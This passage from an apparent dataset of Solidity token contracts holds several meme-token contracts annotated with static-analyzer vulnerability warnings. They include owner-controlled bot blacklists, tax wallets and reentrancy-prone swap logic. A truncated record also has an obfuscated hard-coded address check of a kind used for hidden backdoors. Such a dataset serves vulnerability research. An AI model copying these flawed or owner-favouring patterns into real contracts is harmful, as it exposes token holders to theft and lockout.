address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8dbc7a4\n\t\t\t\t// reentrancy-eth | ID: 61dacd8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8dbc7a4\n\t\t\t\t\t// reentrancy-eth | ID: 61dacd8\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 61dacd8\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 61dacd8\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 61dacd8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8dbc7a4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 61dacd8\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 61dacd8\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8dbc7a4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8dbc7a4\n\t\t// reentrancy-events | ID: 6e3b857\n\t\t// reentrancy-events | ID: 58113eb\n\t\t// reentrancy-benign | ID: 82847a8\n\t\t// reentrancy-benign | ID: bf84fad\n\t\t// reentrancy-eth | ID: 960b4f3\n\t\t// reentrancy-eth | ID: 61dacd8\n\t\t// reentrancy-eth | ID: c70afa0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b4d3c5c): METAMON.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b4d3c5c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8dbc7a4\n\t\t// reentrancy-events | ID: 6e3b857\n\t\t// reentrancy-events | ID: 58113eb\n\t\t// reentrancy-eth | ID: 960b4f3\n\t\t// reentrancy-eth | ID: 61dacd8\n\t\t// reentrancy-eth | ID: c70afa0\n\t\t// arbitrary-send-eth | ID: b4d3c5c\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 58113eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 58113eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf84fad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf84fad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 64ff990): METAMON.Launch() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 64ff990: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fe6d29e): METAMON.Launch() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for fe6d29e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 960b4f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 960b4f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c70afa0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c70afa0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launch() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 58113eb\n\t\t// reentrancy-benign | ID: bf84fad\n\t\t// reentrancy-eth | ID: 960b4f3\n\t\t// reentrancy-eth | ID: c70afa0\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: 58113eb\n\t\t// reentrancy-benign | ID: bf84fad\n\t\t// reentrancy-eth | ID: 960b4f3\n\t\t// reentrancy-eth | ID: c70afa0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 58113eb\n\t\t// reentrancy-benign | ID: bf84fad\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: fe6d29e\n\t\t// reentrancy-eth | ID: c70afa0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 64ff990\n\t\t// reentrancy-eth | ID: c70afa0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: c70afa0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c70afa0\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10812.sol",
"size_bytes": 21338,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Mynewcharacter is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01aaf5a): Mynewcharacter._initialBuyTax should be constant \n\t// Recommendation for 01aaf5a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1d707a3): Mynewcharacter._initialSellTax should be constant \n\t// Recommendation for 1d707a3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 14;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ec9499): Mynewcharacter._finalBuyTax should be constant \n\t// Recommendation for 2ec9499: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c174d8b): Mynewcharacter._finalSellTax should be constant \n\t// Recommendation for c174d8b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e6456f): Mynewcharacter._reduceBuyTaxAt should be constant \n\t// Recommendation for 1e6456f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd48da1): Mynewcharacter._reduceSellTaxAt should be constant \n\t// Recommendation for fd48da1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: df869c5): Mynewcharacter._preventSwapBefore should be constant \n\t// Recommendation for df869c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"My new character\";\n\n string private constant _symbol = unicode\"CHILLGUY\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a0fd23): Mynewcharacter._taxSwapThreshold should be constant \n\t// Recommendation for 3a0fd23: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n uint256 public caSell = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caTrigger = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9ff2f1d): Mynewcharacter.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9ff2f1d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f8f095d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f8f095d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b74b303): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b74b303: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f8f095d\n\t\t// reentrancy-benign | ID: b74b303\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f8f095d\n\t\t// reentrancy-benign | ID: b74b303\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cd28520): Mynewcharacter._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cd28520: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b74b303\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f8f095d\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner {\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f8c5d0b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f8c5d0b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 88a563d): Mynewcharacter._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 88a563d: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e8a7be7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e8a7be7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 81be9eb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 81be9eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 88a563d\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 51,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caTrigger &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caSell, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: f8c5d0b\n\t\t\t\t// reentrancy-eth | ID: e8a7be7\n\t\t\t\t// reentrancy-eth | ID: 81be9eb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f8c5d0b\n\t\t\t\t\t// reentrancy-eth | ID: e8a7be7\n\t\t\t\t\t// reentrancy-eth | ID: 81be9eb\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e8a7be7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e8a7be7\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: f8c5d0b\n\t\t\t\t// reentrancy-eth | ID: 81be9eb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f8c5d0b\n\t\t\t\t\t// reentrancy-eth | ID: 81be9eb\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 81be9eb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f8c5d0b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 81be9eb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 81be9eb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f8c5d0b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f8f095d\n\t\t// reentrancy-events | ID: f8c5d0b\n\t\t// reentrancy-benign | ID: b74b303\n\t\t// reentrancy-eth | ID: e8a7be7\n\t\t// reentrancy-eth | ID: 81be9eb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7757658): Mynewcharacter.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for 7757658: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: 7757658\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 18d00fc): Mynewcharacter.setcaSell(uint256) should emit an event for caSell = amount \n\t// Recommendation for 18d00fc: Emit an event for critical parameter changes.\n function setcaSell(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 18d00fc\n caSell = amount;\n }\n\n function setcaTrigger(bool _status) external onlyOwner {\n caTrigger = _status;\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b1de0de): Mynewcharacter.rescueERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for b1de0de: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: b1de0de\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2cae760): Mynewcharacter.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for 2cae760: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 2cae760\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 37172c1): Mynewcharacter.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 37172c1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f8f095d\n\t\t// reentrancy-events | ID: f8c5d0b\n\t\t// reentrancy-eth | ID: e8a7be7\n\t\t// reentrancy-eth | ID: 81be9eb\n\t\t// arbitrary-send-eth | ID: 37172c1\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a524285): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a524285: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c2a34e8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c2a34e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3d10661): Mynewcharacter.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3d10661: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b08254c): Mynewcharacter.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b08254c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e7c3916): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e7c3916: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: a524285\n\t\t// reentrancy-benign | ID: c2a34e8\n\t\t// reentrancy-eth | ID: e7c3916\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a524285\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: a524285\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: c2a34e8\n\t\t// unused-return | ID: b08254c\n\t\t// reentrancy-eth | ID: e7c3916\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c2a34e8\n\t\t// unused-return | ID: 3d10661\n\t\t// reentrancy-eth | ID: e7c3916\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c2a34e8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e7c3916\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: c2a34e8\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10813.sol",
"size_bytes": 23806,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is 